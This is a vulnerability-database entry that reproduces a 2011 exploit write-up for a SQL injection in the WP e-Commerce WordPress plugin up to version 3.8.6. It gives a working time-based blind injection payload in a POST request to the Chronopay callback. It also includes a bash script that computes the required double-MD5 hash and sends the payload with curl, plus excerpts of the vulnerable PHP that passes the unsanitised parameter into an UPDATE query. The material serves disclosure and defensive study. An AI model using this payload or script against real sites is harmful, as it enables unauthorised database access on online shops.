Wordpress Plugin e-Commerce <= 3.8.6 - SQL Injection Vulnerability

2014-07-0100:00:00
Root
www.seebug.org
JSON
No description provided by source.

                                                # Exploit Title: WordPress WP e-Commerce plugin &#60;= 3.8.6 SQL Injection Vulnerability
# Date: 2011-09-13
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/wp-e-commerce.3.8.6.zip
# Version: 3.8.6 (tested)
# Note: parameter $_POST[&#34;cs3&#34;] == md5(md5(urldecode($_POST[&#34;cs1&#34;])))
#       it has a &#34;chronopay_salt&#34; option but it&#39;s set to &#39;&#39; by default (see more description down below)

---------------
PoC (POST data)
---------------
http://www.site.com/?chronopay_callback=true
 cs2=chronopay&cs1=-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23&cs3=123f7bcd4ba53fade05886a7e77bf045&transaction_type=rebill

e.g.
#!/bin/bash
payload=&#34;-1 AND 1=IF(2&#62;1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#&#34;
hash=`echo -n $payload | md5sum | tr -d &#39;\n&#39; | sed &#39;s/\s*-\s*//g&#39; | md5sum | tr -d &#39;\n&#39; | sed &#39;s/\s*-\s*//g&#39;`
curl --data &#34;cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill&#34; http://www.site.com/?chronopay_callback=true

---------------
Vulnerable code
---------------
./wp-e-commerce/wp-shopping-cart.php:

    class WP_eCommerce {

        function WP_eCommerce() {
            add_action( &#39;plugins_loaded&#39;, array( $this, &#39;init&#39; ), 8 );
        }

        function init() {
            ...
            $this-&#62;load();
            ...
        }
        function load() {
            ...
            wpsc_core_load_gateways();
            ...
        }
    ...
    $wpec = new WP_eCommerce();


./wp-e-commerce/wpsc-core/wpsc-functions.php:

    function wpsc_core_load_gateways() {
        global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;

        $gateway_directory      = WPSC_FILE_PATH . &#39;/wpsc-merchants&#39;;
        $nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );

        $num = 0;
        foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
            if ( stristr( $nzshpcrt_merchant, &#39;.php&#39; ) ) {
                require( WPSC_FILE_PATH . &#39;/wpsc-merchants/&#39; . $nzshpcrt_merchant );
            }


./wp-e-commerce/wpsc-merchants/chronopay.php:

    function nzshpcrt_chronopay_callback()
    {
        ...
        if(isset($_GET[&#39;chronopay_callback&#39;]) && ($_GET[&#39;chronopay_callback&#39;] == &#39;true&#39;) && ($_POST[&#39;cs2&#39;] == &#39;chronopay&#39;))
        {
            $salt = get_option(&#39;chronopay_salt&#39;); 
            // - this is by default &#39;&#39; and set only if explicitly stated 
            //   inside Store Settings-&#62;Payments-&#62;General Settings-&#62;
            //   Chronopay-&#62;Edit-&#62;Security Key
            // - problem is that there are more popular payment gateways enlisted (e.g. 
            //   Google Checkout and PayPal) and if that setting is not explicitly set 
            //   it wide opens the door to the potential attacker

            $gen_hash = md5($salt . md5($_POST[&#39;cs1&#39;] . $salt));    
            
            if($gen_hash == $_POST[&#39;cs3&#39;])
            {
                ...
                $sessionid = trim(stripslashes($_POST[&#39;cs1&#39;]));
                $transaction_id = trim(stripslashes($_POST[&#39;transaction_id&#39;]));
                $verification_data[&#39;trans_id&#39;] = trim(stripslashes($_POST[&#39;transaction_id&#39;]));
                $verification_data[&#39;trans_type&#39;] = trim(stripslashes($_POST[&#39;transaction_type&#39;]));

                switch($verification_data[&#39;trans_type&#39;])
                {
                    ...
                    case &#39;rebill&#39;:
                        $wpdb-&#62;query(&#34;UPDATE `&#34;.WPSC_TABLE_PURCHASE_LOGS.&#34;` SET 
                                            `processed` = &#39;2&#39;, 
                                            `transactid` = &#39;&#34;.$transaction_id.&#34;&#39;, 
                                            `date` = &#39;&#34;.time().&#34;&#39;
                                        WHERE `sessionid` = &#34;.$sessionid.&#34; LIMIT 1&#34;);
    ...
    add_action(&#39;init&#39;, &#39;nzshpcrt_chronopay_callback&#39;);
JSON